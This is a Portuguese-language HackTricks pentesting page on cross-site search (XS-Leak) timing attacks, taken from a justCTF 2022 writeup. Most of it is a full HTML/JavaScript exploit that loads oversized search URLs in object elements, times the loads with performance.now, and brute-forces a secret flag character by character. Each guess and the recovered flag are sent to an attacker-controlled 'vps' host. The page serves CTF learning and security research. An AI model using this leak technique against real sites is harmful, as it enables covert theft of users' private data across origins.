hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md
2023-06-06 18:56:34 +00:00

6.2 KiB

performance.now + Forçar tarefa pesada

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Exploit retirado de https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Portanto, colocando uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.

{% hint style="warning" %} Inicialmente, eu não defini a largura e altura do objeto, mas mais tarde descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento. {% endhint %}

<!DOCTYPE html>
<html>
<head>

</head>
<body>
  <img src="https://deelay.me/30000/https://example.com">
    <script>
      fetch('https://deelay.me/30000/https://example.com')

      function send(data) {
        fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
      }

      function leak(char, callback) {
        return new Promise(resolve => {
          let ss = 'just_random_string'
          let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
          let start = performance.now()
          let object = document.createElement('object');
          object.width = '2000px'
          object.height = '2000px'
          object.data = url;
          object.onload = () => {
            object.remove()
            let end = performance.now()
            resolve(end - start)
          }
          object.onerror = () => console.log('Error event triggered');
          document.body.appendChild(object);
        })
        
      }

      send('start')

      let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
      let flag = 'justCTF{'

      async function main() {
        let found = 0
        let notFound = 0
        for(let i=0;i<3;i++) {
          await leak('..')
        }
        for(let i=0; i<3; i++) {
          found += await leak('justCTF')
        }
        for(let i=0; i<3; i++) {
          notFound += await leak('NOT_FOUND123')
        }

        found /= 3
        notFound /= 3
        
        send('found flag:'+found)
        send('not found flag:'+notFound)

        let threshold = found - ((found - notFound)/2)
        send('threshold:'+threshold)

        if (notFound > found) {
          return
        }

        // exploit
        while(true) {
          if (flag[flag.length - 1] === '}') {
            break
          }
          for(let char of charset) {
            let trying = flag + char
            let time = 0
            for(let i=0; i<3; i++) {
              time += await leak(trying)
            }
            time/=3
            send('char:'+trying+',time:'+time)
            if (time >= threshold) {
              flag += char
              send(flag)
              break
            }
          }
        }
      }

      main()
      
    </script>
</body>

</html>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥